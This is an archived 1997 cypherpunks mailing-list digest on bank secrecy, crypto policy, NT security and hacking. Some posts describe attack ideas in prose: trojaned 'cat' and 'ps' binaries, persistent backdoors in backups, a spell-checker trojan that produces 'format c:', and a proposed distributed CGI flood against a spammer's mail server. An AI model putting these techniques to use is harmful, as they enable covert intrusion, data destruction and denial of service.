  As you pointed out, Igor, the more subtle a program's operation
and effects, the longer it can work undiscovered and the greater
the range of the time/space continuim it can encompass.
  Virus/Trojan checkers generally guard only against system 
damage and/or loss of data. It is infinitely more difficult
to guard against a system intruder who has other goals in mind
and has the patience to remain unobtrusive.
  Even most security conscious system administrators don't take
much note of minor glitches as long as they appear to be benign
problems inherent in the implementation of the software.

  The Trojan that I and others are currently working with was
only perceived as a potential problem after the person who
discovered it had spent months cursing the software manufacturer
for not including an obviously needed capability in the product.
  It was a very minor but frustrating problem, leading the user
to make inquiries as to how to "work around" the product's lack
of providing this function. Upon discovery that the product was
supposed to provide the function, his research quickly indicated
that there was a "fly in the ointment."
  Most users probably would have just shrugged and lived with 
the problem, since it was relatively minor. Instead, he brought
the small anomalie he discovered to the attention of myself and
others and it has opened up a Pandora's box that appears to
have the potential for a new breed of Trojan Horses.

> basically, install lots of backdoors and then play with their minds.

  Actually, Igor, I'm beginning to wonder if perhaps you are the
hacker I've been trying to ferret out? I think I'll keep an eye
on you.
 
> some ppl would steal CC# of their customers and publish them, but I would
> not do it.

  The hacker I've been discussing has infiltrated a variety of
Pac Bell sites, and the like, over the years.
  A regional administrator, upon being informed of the presence
of an intruder on the system, immediately called in a team of
Bay Area security consultants to deal with the problem. By the
time they arrived the hacker had sent a small mountain of email
to various management personnel which contained precious company
secrets and had Pac Bell's competition listed as a cc: (in the
body of the message, as a warning).
  When the group from Berkeley arrived they consulted with the
admin about the potential seriousness of the veiled threat, did
a quick check of the system, realized who the hacker was that
they were dealing with, shrugged, and said, "He's on our system
too. We'd advise just leaving him alone."
  When the administrator questioned the wisdom of their suggestion
the consultants advised him that they would be more than happy to
proceed as long as the overuling of their opinion was put in 
writing. The admin agreed, whereupon he was presented with the
consultants' standard "reality check" authorization form, whose
letterhead reads:
AUTHORIZATION TO PROCEED CONTRARY TO 
   ADVISED COURSE OF PROCEDURE
"Last One Seen Fixing It Gets The Blame"

  The administrator decided in favor of job-security, and the 
security consultants were paid generously to provide a generic 
report for his superiors which indicated that the admin's prompt 
action resulted in the problem coming to a quick resolution.


  Personally, I've seen more than a few sysadmins who declare
war on a minor hacker instead of just fixing the problem so
that it won't occur again and moving on. (Much like some of the
hilarious posts in the cypherpunks archives in which a list
member responds to a Vulis post by saying, "Just ignore him
and he'll go away." and then proceed to take two or three
pot-shots at him.)


(.)(.)Monger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Thu, 8 May 1997 07:54:59 +0800
To: cypherpunks@toad.com
Subject: crypto.swdev.co.nz ??
Message-ID: <199705072336.QAA14358@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain


Anyone know why crypo.swdev.co.nz is no longer available via anonymous
ftp?

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 8 May 1997 05:16:04 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <v03007800af9667d20ad6@[207.167.93.63]>
Message-ID: <3.0.1.32.19970507170555.02655d84@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

- From some of my recent writing on the subject:

Nazi Gold, Jewish Accounts 

In the last year, Switzerland has been suffering from a series of attacks on
its record during and since the Second World War.  These articles, TV
stories, U.S. Congressional hearings, and lawsuits deal with two basic
issues.  First, that the Swiss accepted Nazi gold and deposits and performed
various financial services for the Nazi government; and second, that Swiss
banks have kept the dormant accounts of Jewish Holocaust victims and they
have refused to give these funds to their heirs.

There are several important things to note before discussing specifics.

First, many of Switzerland's critics are bitterly opposed to the Swiss
tradition of bank secrecy.  They do not care about the desires of those Swiss
bank customers who like secrecy and they are using these complaints as a
means of attacking bank secrecy.  They would be attacking Switzerland with or
without the specific issues.

Second, these controversies are not new.  The issue of Nazi gold was debated
at length after the war in a dispute between Switzerland and the Allied
Powers.

Third, these two controversies are separate.  The Nazi Gold question concerns
the fact that Swiss banks performed financial services for the German
government and private individuals from Germany during the war.

Some of this money may have been stolen by the Germans.

The Jewish accounts question has to do with the problems some heirs of
holocaust victims have had in obtaining family money they believe to have
been deposited in Swiss Banks before the war.

a) The Critics 

Some of the recent critics of Swiss banking come to the table with "unclean
hands."  US politicians and bureaucrats hate Swiss banks and bank secrecy in
general.

Their motives in this matter are not altruistic.  They want to eliminate
financial privacy so that they can get their hands on any one's money any
time they feel like it.  They will use any "wedge" issue they can create to
attack institutions that protect financial privacy.

Their attitude towards other people's wealth most closely resembles that of
the Nazi government.  Everything should be fair game.

The bad publicity is a political maneuver on their part to make it easier to
get their hands on other people's money.

US anti-privacy bureaucrats are also worried that the growth of electronic
banking via the Internet and other computer networks will allow Swiss Banks
to cheaply and easily offer their traditional protections to people all over
the world.

They know that if the Swiss can electronically expand their banking industry
worldwide, the ability of governments to grab other people's money will be
compromised.

b) The Facts - Nazi Gold 

It is true that Swiss banks, the Swiss government, and many Swiss businesses
dealt with the German government and various German citizens before, during,
and after the war.  They provided financial services to the German government
in the same way that at the peak of the Cold War, they hosted a bank owned by
the Soviet government.

To the Swiss, neutrality has always meant neutrality.  Other neutral nations
such as Sweden, Portugal, Spain, and Turkey traded with Germany as well.  It
was perfectly legal under the then existing international law and it remains
legal today.  International boycotts were unknown 60 years ago and are not
mandatory today.

Note that today the U.S. government and U.S. companies do business with
communist China.  This is the same government which murdered 50-70 million
human beings in the last 50 years.  We are "neutral" vis a vis their crimes
against humanity.  During the Cold War, India and many other countries were
neutral concerneing the Soviet Union.  This neutrality is not generally
attacked today.  

After the war, the U.S. government was very upset with Switzerland.  They
wanted the Swiss to come up with gold that the Nazis had stolen and shipped
via Switzerland or via Swiss banks.  The US government (in a complete
abrogation of its contractual agreements) went so far as to seize large gold
deposits that Swiss banks and the Swiss government had at the Federal Reserve
Bank of New York.  This international depository, which still exists today,
holds gold from banks and governments all over the world and facilitates
large financial transfers among the depositors.

The US government claimed that large amounts of Nazi assets were on deposit
in Swiss banks and that the Allied Powers should get this money.  The Swiss
Banks didn't want to destroy their system of bank secrecy and surrender to
the Allies the sovereignty they had maintained successfully against the
Germans.

The Swiss government maintained that under the Hague Land Warfare Convention
of 1907, cash and valuables of an occupied state - but not of private
individuals - were subject to the occupying state's right to the spoils of
war. Thus, Germany could have acquired gold and other assets from occupied
areas legally, and sold it.  They also said that the Swiss National Bank had
acquired the gold in good faith.

The US government also imposed controls on Swiss private holdings in the US
(approx. SFr4.5 billion) to increase its leverage in the negotiations.

Finally, in 1946, under enormous pressure the Swiss delegation offered to
settle all Allied claims by paying a lump sum of SFr. 250 million in gold
(worth today approximately SFr. 1.5 billion), which the Allies accepted,
irrevocably waiving all further claims and deblocking the billions of Swiss
Francs in frozen US accounts.

So in spite of what you may have heard, the question of Nazi gold in Swiss
banks was settled by treaty in 1946.  There is no new information on "Nazi
gold" available today.

In 1946, Switzerland and the Allies disagreed over the amount and the legal
status of gold and other property deposited by the Nazis in Switzerland. 
They still disagree today.

But in 1946 they did agree to settle all claims by a payment of gold so the
U.S. can't reopen this issue without breaking its treaty obligations.

c) The Facts - Jewish Accounts 

Both before and during the war, Jews and other victims of Nazi oppression
opened bank accounts in Switzerland.  Switzerland welcomed this money and,
indeed, passed its bank secrecy law in 1934 in part to protect these accounts
from the totalitarian nations which might want to grab them.

Many thousands of Jews who escaped from Hitler prior to the war, or who
survived the Holocaust, used their Swiss bank accounts to pay for their
escape and start their new lives in the countries into which they fled.

Recent complaints about the status of Jewish accounts in Swiss banks have
mixed in a host of extraneous issues which have to be disposed of before we
can talk about the real question.

First, it is true that Switzerland refused to accept many refugees who were
fleeing the Nazis.  Like the U.S., the U.K. and almost every other nation,
Switzerland used its tight immigration laws to block the escape of many
victims of tyranny.  Most people think this is outrageous.  It is also true,
however, that Switzerland did accept thousands of refugees in the years
between 1933 and 1938 when they decided that they had enough.  During this
same period, the U.S. admitted very few refugees.

But it is irrelevant to the issue of Jewish Bank accounts.

Second, many individual Nazis also used Swiss banks after the war to aid
their escape from Allied authorities.  This establishes nothing except the
neutrality of the Swiss banks.

The real charge is that Swiss banks have blocked attempts by the heirs of
Jewish (and presumably other) account holders to obtain the contents of those
accounts.  These are the children of the many who died in concentration camps
and who came from places where whole families, and indeed whole villages,
were wiped out by Nazi terror or who died in the awesome destruction of that
war.

These heirs have approached Swiss banks to try to find accounts and some have
been frustrated in that attempt.

Note that no one has claimed that they were themselves an account holder and
have been unable to get their money out of their own bank.  These are
children or grandchildren who often lack specific information on the bank
accounts their parents may have held.

There are a number of things one can say about the problems someone without
documentation has getting money out of a 60-year-old bank account.

I recently asked a friend of mine, a former resident of Berlin, about this
problem.  He had been a guest of the German government in Auschwitz for a
time in the 1940s.  Today, living in America, he has the pension which
Germany pays to all concentration camp survivors paid into his Swiss bank
account.  His response: "If it was easy to get money out of Swiss banks, the
Nazis would have gotten all of it."

The fact is that Swiss banks require proof before they part with an account
holder's money.  They are not casual about other people's money like some
institutions in other countries.

Many heirs of the Nazi victims did get their money out of Swiss banks.  They
had proof that the accounts existed and that they were entitled to the funds.
 Unfortunately, others were not able to establish their claims.  The same
thing could happen in America.

All banks end up with dormant accounts over time.  People forget that they
have them or they die without heirs.  Money is often lost in this way.

In the U.S. (and all other Anglo-Saxon legal systems)  dormant accounts are
seized by state governments after a certain period of time and their contents
are blown on whatever schemes the state thinks worthwhile.  This process is
called escheatment.

If an owner finds out about the dormant account later, he can apply to the
state government for the money.

Switzerland does not practice escheatment.  If you give your money to a Swiss
bank, it will be there forever waiting for you and any heirs who have proof
that it's theirs.

The Swiss system is certainly preferable to the American system in this
regard.

Caveat:  Keep good records (including records not located where you live) and
make sure your heirs can find out where your accounts are.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 8 May 1997 08:34:59 +0800
To: jimbell@pacifier.com (Jim Bell)
Subject: Re: My editorial in Oregonian newspaper published today.
In-Reply-To: <199705061458.HAA08763@mail.pacifier.com>
Message-ID: <199705080020.RAA15368@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


JB's editorial is so mild-mannered I can barely resist comment.
this from the JB we all know and love? this is so bland as to
be almost PC, and frankly I agreed with every statement in
it, virtually. how did he manage to avoid the label "assassination
politics"? in fact how does he avoid the label "assassination"
entirely? 

the whole system was based on killing people. what's
this about mere "protection" or "security"? JB, have you changed
your ideas? a common pot of money for a security force is not
a radical idea. a betting pool on deaths *is* not only radical,
but quite morally vacuous and depraved.

I think the main flimflammery in the essay is the concept of
"criminal". JB always advocated in the past that merely being
a bureacrat was virtually criminal, and that people would donate
money toward their demise. 

JB, you are going to get nailed for your obvious duplicity.
you should be ashamed of yourself. you are not only a advocate
of death, but someone who does so as weasely as any politician
hides his true views.  you are not being honest with your own 
ideas. you are just as much a hypocrite as the bureacrats you despise.

note to everyone: jim bell's editorial has virtually no relation
to his past essays. I propose that someone send that newspaper
his AP article.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Thu, 8 May 1997 11:45:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: airlines_2.html
In-Reply-To: <199705071055.GAA29130@linux.nycmetro.com>
Message-ID: <970507.174733.0L8.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

>    Tuesday May 6 11:33 PM EDT 
>    
> Airlines Step Up Baggage Security Measures

Denial of service attack, anyone?  How many missed connections would be
required to paralyze the major air routes in the US?
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
                 Key available from pubkey@scytale.com
            I charge to process unsolicited commercial email

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 8 May 1997 06:19:08 +0800
To: Paul Pomes <ppomes@Qualcomm.com>
Subject: Re: (fwd) Cell Phone Cancer Study
Message-ID: <1.5.4.32.19970507215200.0094bc88@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for critiquing this sensitive topic.

The 11-page paper was published by Radiation 
Research, as noted here, whose editor is at Oak
Ridge National Lab, if that offers credibility.

Radiation Research's Web site shows an impressive
range of credentials of scientists in the field, perhaps 
superior, if more specialized, to that of Science and 
Nature, both which oft times suffers the chancres of
promiscuous sci-populuxitis.

Best is to see the report for oneself. A copy is available 
for US$30.00 by fax. Request by calling the publisher 
at (423) 574-5874. Or E-mail to:

   Radiation Research
   Biology Division
   Oak Ridge National Laboratory
   <radres@aol.com>

We've had a layman's look and cite the authors' final
cautionary paragraph:

"This is not to imply that any humans at all are necessarily
at increased risk of cancer as a consequence of exposure 
to RF fields. No single experiment on animals can allow such
a conclusion. Rather, we believe the study reported here
indicates a need for further research. Tumorigenesis in
genetically predisposed mice may provide a useful assay
for interactions between RF fields and biological systems. 
With the current rapid expansion in the use of RF fields
for telecommunications, a reliable assay is required to
enable a better assessment of limits to safe levels of
human exposure."

Send more money or die, sucker, the "responsible" scientist's 
clanging alarm, eh?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 8 May 1997 06:32:44 +0800
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705072207.PAB22259@kachina.jetcafe.org>
Message-ID: <Pine.SUN.3.91.970507181419.999K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 7 May 1997, Dave Hayes wrote:

> This was truly a mirrored interchange. I thank you for the opportunity
> to witness my self in you. ;-)

I bet you say that too all the shamans, big boy. :)  Sorry, not 
interested.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Thu, 8 May 1997 06:26:44 +0800
To: cypherpunks@algebra.com
Subject: (fwd) Elctronic Funds Transfer Expansion Act
Message-ID: <199705072216.SAA25634@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



>From Post Office Credit Union' _Credit Union Post_, Spring 1997:

Congress recently passed a law making it mandatory to receive government
payments by direct deposit to a financial institution. It's called
"Electronic Funds Transfer Expansion Act," and it requires all federal
payments, except an IRS refund check to be issued by electronic funds
transfer (Direct Deposit).

It will affect anyone who receives veteran's benefits, Social Security,
federal government and military pensions and salaries, or any government
payment. Members who have their payments sent to Post Office Credit Union
will have _immediate access_ to their money.

So what are you waiting for? If you don't already have direct deposit,
consider signing up for it. It's not only easy, convenient, and safe, it
will soon be mandatory for all!

Give us a call at 244-3518 to take advantage of direct deposit today!

--
[The] "Electronic Funds Transfer Expansion Act".. requires all federal payments
except an IRS refund check to be issued by electronic funds transfer. So what
are you waiting for? If you don't already have direct deposit, consider signing
up for it. It's not only easy, convenient, and safe, it will soon be mandatory
for all! [Post Office Credit Union' Credit Union Post_, Spring 1997]
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 8 May 1997 06:53:25 +0800
To: cypherpunks@toad.com
Subject: Re: [NTSEC] 64-bit En/Decryption speed (fwd)
Message-ID: <Pine.SUN.3.91.970507182059.999L-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Wed, 7 May 1997 14:17:55 -0400
From: Craig Nulan <Craig.Nulan@ccmail.irs.gov>
To: Bill Stout <stoutb@pios.com>, ntsecurity@iss.net
Subject: Re: [NTSEC] 64-bit En/Decryption speed

          577 Mghz
          No hardware abstraction layer
          The native platform on which NT was developed

          No need to validate beyond this.  10 times or faster.

          The DEC marketing rhetoric re: Alphas, is fairly reliable,
          unlike Microsoft's representations re: NT security.

          Has anyone else on this list examined the apparent demise of
          TCSEC product evaluations?  Anyone else questioned why MS
          failed to keep NT in the RAMP process subsequent to getting
          version 3.5 C2 certified in a workstation configuration?

          Does it strike anyone else as odd that the U.K.'s ITSEC
          product evaluations are vendor sponsored, vendor scheduled,
          and conducted in private test environments?

          Does anyone believe that NT can ever be restructured
          into a general purpose operating system?  A secure, general
          purpose O/S?

          Two URL's you'll want to remember.

          csrc.nist.gov  - here you'll want to look at the the `94 and
          `95 annual reports (and meeting minutes) of the Computer
          Security and Privacy Advisory Board

          www.ecma.ch - where you can read first hand how security
          evaluation criteria are evolving

          Could it be that it's time to consider NT security from the
          perspective of the forest rather than from the perspective
          of endless little leaves on endless expanses of trees?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 8 May 1997 06:49:11 +0800
To: cypherpunks@toad.com
Subject: GAK Spreads, FRB Smirks
Message-ID: <1.5.4.32.19970507222635.0095f0f0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


A news report today that 22 new members have joined
the Key Recovery Alliance, now 61 total. A meeting
in Toronto on April 24-25 reviewed committee
reports on key recovery prospects for "facilitating
the wordlwide use of strong cryptography."

And, two Federal Reserve economists claim that
smart cards and E-cash have a ways to go to
compete with well-tested and trusted paper bucks.
No, they smirk, these views do not protect the FRB's
central bank hegemony.

Both reports at:

   http://jya.com/krafrb.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 8 May 1997 08:05:30 +0800
To: Lee Tien <tien@well.com>
Subject: Re: SAFE
In-Reply-To: <v03007802af940ac0a7fc@[163.176.132.90]>
Message-ID: <Pine.LNX.3.95.970507184619.1208A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 6 May 1997, Lee Tien wrote:

> [I wonder:  how does SAFE interact with IPSEC and arrangements like S/WAN?
> This is not, I think, merely the "willful furtherance" provision.  The "law
> enforcement" access provision may be ambiguous for keys that are not
> "private"; my understanding of IPSEC is that the key is in the possession
> of the machine and not the user.  I'm unclear whether users have 4th A.
> standing to challenge law enforcement access to such keys; there are lots
> of 4th A cases where a person has no privacy interest in information
> because it's been disclosed to another person, or is in another person's
> control.  Of course, I probably don't understand how IPSEC works, so
> corrections are welcomed.]

SKIP, one key exchange protocol for IPSEC, allows for both user and IP-based
keys.  Since these keys would be probably be stored on the same machine, it
raises some interesting 4th A issues.  The keys could either be seen as
under the control of the owner of the computer and can be disclosed at his
discretion, or similar to email where the data is considered private and
the owner of the hardware does not have the right to disclose this
information.

Regardless, one big win with IPSEC is its use of Diffie-Hellman key exchange
which makes recovery of past session keys impossible (I believe the term
for this is "forward secrecy").  A warrant won't do the feds much good.

>
> Lee
>
>
>


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 08:50:21 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970507142536.009a7e90@gateway.grumman.com>
Message-ID: <9mXc7D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne <osborne@gateway.grumman.com> writes:

> >PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
> >"anti-spam" hackers. [...] Currently thousands of businesses with web pages
> >and mail box accounts are being denied service.
> 
> Hmmm... the whole reason they are trying to stop the arp-spam is because
> whoever is doing it is trying not to be found, right?  Well, what if
> someone (or a group of someones) were to set up a web page with a script
> behind it.  The page would simply ask "How many arps would you like to send
> CyberPromo?".  An anonymous web user then fills in the blank, hits SUBMIT,
> and the CGI does its thing.  Using this system, especially if it is not
> just coming from one page but from anyone who sets up the CGI on their
> system, CyberPromo really can't do anything about it, can they?
> providing the interface.
> 
> A perl script to connect directly to their SMTPd (no point in clogging
> yours by using sendmail) would be trivial.  If set up on a sufficient
> number of sites/pages (the form elements and script might take up a totalk
> of 2k, whoopee), this could be a sort of passive agressive way of getting bac
> _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
> It's amazing how much 'mature wisdom' resembles being too tired.
> - Lazarus Long
> 

First of all, Wallace is a great guy and anyone who interferes with his
freedom of speech is scum on par with C2Net.

Second, if you run a cgi script in this manner, the pings are still coming
from the web server.  You want to ping from the client that the browser's on.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 08:57:53 +0800
To: devnull@manifold.algebra.com
Subject: Re: Igor's Diabolical Mind
In-Reply-To: <199705072327.QAA09304@fat.doobie.com>
Message-ID: <199705080036.TAA00617@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Huge Cajones Remailer wrote:
> 
> Igor Chudov @ home wrote: 
> > some of the best hacks that I heard was to install a trojan
> > instead of, say, cat, that would randomly change one byte in
> > a randomly chosen file.
> 
>   I am currently monitoring a friend's system in order to analyze
> the source and methodologies of various attacks on it and I spend my
> spare time reading his email, databases, private diaries, etc.

These are not exactly private diaries, Prof. TruthMonger.

These are private diaries _intended for public consumption_, so that 
susceptible and romantic wanderers in cyberspace like yourself would
be deceived by their seemingly secret (and presumably sincere) content.

But they are still rather useful, if you know what you are looking for.

>   (I am blessed with breasts which allow me to set a man's car on
> fire and know he will just smile, and say, "That's OK, I'll get
> another one.")

How about the pizda...

>   His comments regarding "Igor" imply that you have a diabolical
> mind and a good nose for nasty business.
>   I can tell from your comments above that he judged you fairly well.

See, Prof. TruthMonger, the fact that I like to publically contemplate
about nasty business does not mean that everything that drives "normal"
people insane (a frequent occasion in certain newsgroups) is done by me.

Far from it.

Anyway, did your friend give you any specifics?

>   Most hackers tend to be one-time Charlie's who pop into a low
> security system to mark their territory by pissing on a directory
> tree, so to speak, or adding their own personal form of graffiti
> and then returning home to pat themselves on the back for their 
> great genius.

But this is what they are looking for.

>   The system intruder I am currently dealing with has a long
> history of success in his nefarious activities and one of the
> main reasons for this is his patience and his subtlety.

You hit the exact point on this one, TM. Patience is the asset
that hackers, moderators, and many others need the most.

>   Once he gains entry to a system he generally sets up an
> obscure back door for himself, pulls a directory tree, finds 
> out the backup schedule, and then exits.

See, a prudent sysadmin/user should do several things: 

1. Keep the oldest backup at least several months old
2. Use encrypted filesystems that are mounted only when needed.
3. Disable all internet services.
4. Treat email as if it was certainly being read by your friends.

That does not make the computer secure, by any means (a bug in elm
or tin that causes them to coredump can be exploited without using any
internet services), but at least makes the threat of intrusion somewhat
less dire.

>   He then lays out a plan of attack which is geared toward
> allowing him to roam the system at will without being observed.
> Usually, he will start by replacing such things as the system 
> 'ps' command with one that keeps certain processes hidden from
> the prying eyes of sysadmins. He also substitutes his own
> programs for system files which are rarely installed and/or
> used.

See, time is money. The stuff above requires a lot of it, so I 
wonder if your friend has a life.

>   Once an intruder has his handiwork on the previous few months
> of system backups, then you might say that he has become a 
> "tenured" member of your organization.

You do not want to reinstall the system from backups...

>   I have had previous experience with the individual involved
> in the compromise of my friend's system (and ISP) and I am well
> aware of the fact that much of his power comes from the fact
> that he tends not to interfere with the functioning of one's
> system unless he is attacked.

>   His current work-in-progress is a Trojan which is frightening
> in its scope if it turns out to operate in the manner that I
> and others now suspect. It may represent a quantum leap in Trojan
> Horse technology (kind of an Equestrian Trojan Horse).
>   {Its existence was "discovered" by a cypherpunk, by the way.}

Interesting.

>   While I am not at liberty to reveal the as yet sketchy details
> of how the Trojan operates, I can give you a small glimpse into
> the the mind of its creator by providing an example of another
> Trojan that was previously discovered with his signature on it.
> 
>   The Trojan works through a word processor's spell checking and 
> automatic correction system.
>   Nonsensical character sequences are added to the spell checker,
> in the form of 'xytrz-->delete', 'xribpt-->format', etc. A .doc 
> file is placed on the system which, when spell-corrected, will
> then become "format c:" or whatever its creator desires.
>   A variety of triggers were discovered for the Trojan, and they
> encompassed a variety of approaches. (The triggers were indicative
> of a benign series of probing experiments designed to lead to a
> finished product versatile enough to bypass any attempt to guard
> against the Trojan's execution.)

>   A simple trigger would run a .bat file which loaded the file into
> the word processor, auto-corrected the spelling, saved the file as 
> a .exe file of the creator's choosing, then exited.
>   More complicated triggers involved such things as (in Win 95)
> giving the file a unique extension (such as .xyz), using the
> "open with" option to point to a hidden copy of a word processor
> executable which has no macro-virus protection, etc., and which
> will run the macros in place in the file when it is opened.

Windoze is never secure. The only advantage of using Windoze is that the
hackers think that all windoze users are very stupid, have nothing
useful, and hacking them is like breaking into outhouses -- not the
wisest way to spend time.

>   As you pointed out, Igor, the more subtle a program's operation
> and effects, the longer it can work undiscovered and the greater
> the range of the time/space continuim it can encompass.

> > basically, install lots of backdoors and then play with their minds.
> 
>   Actually, Igor, I'm beginning to wonder if perhaps you are the
> hacker I've been trying to ferret out? I think I'll keep an eye
> on you.

Don't remember sending you any flowers...

I am not a hacker at all, Prof. TruthMonger. (although I believe that 
outsider hacking ought to be legalized) I was merely discussing 
issues.

> > some ppl would steal CC# of their customers and publish them, but I would
> > not do it.
> 
>   The hacker I've been discussing has infiltrated a variety of
> Pac Bell sites, and the like, over the years.
>   A regional administrator, upon being informed of the presence
> of an intruder on the system, immediately called in a team of
> Bay Area security consultants to deal with the problem. By the
> time they arrived the hacker had sent a small mountain of email
> to various management personnel which contained precious company
> secrets and had Pac Bell's competition listed as a cc: (in the
> body of the message, as a warning).
>   When the group from Berkeley arrived they consulted with the
> admin about the potential seriousness of the veiled threat, did
> a quick check of the system, realized who the hacker was that
> they were dealing with, shrugged, and said, "He's on our system
> too. We'd advise just leaving him alone."
>   When the administrator questioned the wisdom of their suggestion
> the consultants advised him that they would be more than happy to
> proceed as long as the overuling of their opinion was put in 
> writing. The admin agreed, whereupon he was presented with the
> consultants' standard "reality check" authorization form, whose
> letterhead reads:
> AUTHORIZATION TO PROCEED CONTRARY TO 
>    ADVISED COURSE OF PROCEDURE
> "Last One Seen Fixing It Gets The Blame"
> 
>   The administrator decided in favor of job-security, and the 
> security consultants were paid generously to provide a generic 
> report for his superiors which indicated that the admin's prompt 
> action resulted in the problem coming to a quick resolution.

I think thet these ppl from Berkeley were the actual hackers... So they
bullshitted the sysadmin into submission in order to evade responsibility.

>   Personally, I've seen more than a few sysadmins who declare
> war on a minor hacker instead of just fixing the problem so
> that it won't occur again and moving on. (Much like some of the
> hilarious posts in the cypherpunks archives in which a list
> member responds to a Vulis post by saying, "Just ignore him
> and he'll go away." and then proceed to take two or three
> pot-shots at him.)

Yeah, an interesting observation.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 09:05:37 +0800
To: devnull@manifold.algebra.com
Subject: Re: IBM's New Algo
In-Reply-To: <0kic7D1w165w@bwalk.dm.com>
Message-ID: <199705080041.TAA00687@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> John Young <jya@pipeline.com> writes:
> >    The New York Times, May 7, 1997, p. D5.
> >    I.B.M. Researchers Develop A New Encryption Formula
> >    The system is based on a problem that has defied solution
> >    by mathematicians for 150 years, I.B.M. said.
> 
> I had an interesting conversation a few weeks ago with a friend who has
> a closed-form solution to a well-known problem that's been unsolved for
> about that long.  He has no intention of publishing it, but he has already
> made quite a bit of $$$ on it. :-)
> 
> I've known the guy for a number of years and it's not the first time he gets
> a good result and makes money on it instead of yet another paper in a 
> refereed journal.  In general, lots more is known to some people than is
> published. E.g. it's possible that some of stuff I did for my Ph.D. thesis
> was done by the British crypto people but never made it to the open literatre.
> 
> >    Mr. Schneier said that the cryptographic formulas now in
> >    use were already robust enough. The biggest challenge, he
> >    said, is creating security systems in the real world that
> >    are not vulnerable to hackers.
> > 
> >    "Cryptography is a lot more than math" he said.
> 
> Let me get this straight - Schneier claims that factoring is secure now and
> will remain secure in the future?

Let me get this straight -- did your friend discover a closed form
solution to the factoring problem?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 09:30:06 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <v03007800af9667d20ad6@[207.167.93.63]>
Message-ID: <199705080050.TAA00821@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> I try to deconstruct events, to determine what the real issues are.
> 
> Take the case of the ongoing flap over Switzerland and claims that Swiss
> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
> Adding to the flap--actually, making it a newsworthy event--is the
> allegation, probably true, that some of the gold was taken from Jews and
> others sent to extermination camps.

... snip ...

> OK, so it's clear to all right-thinking persons what should be done:
> Switzerland should return the money to the heirs of those killed by the
> Nazis.
> 
> Ah, but it's not so clear to me. I guess I'm not a right-thinking person.

According to americal common law, as I understand it, no one can get
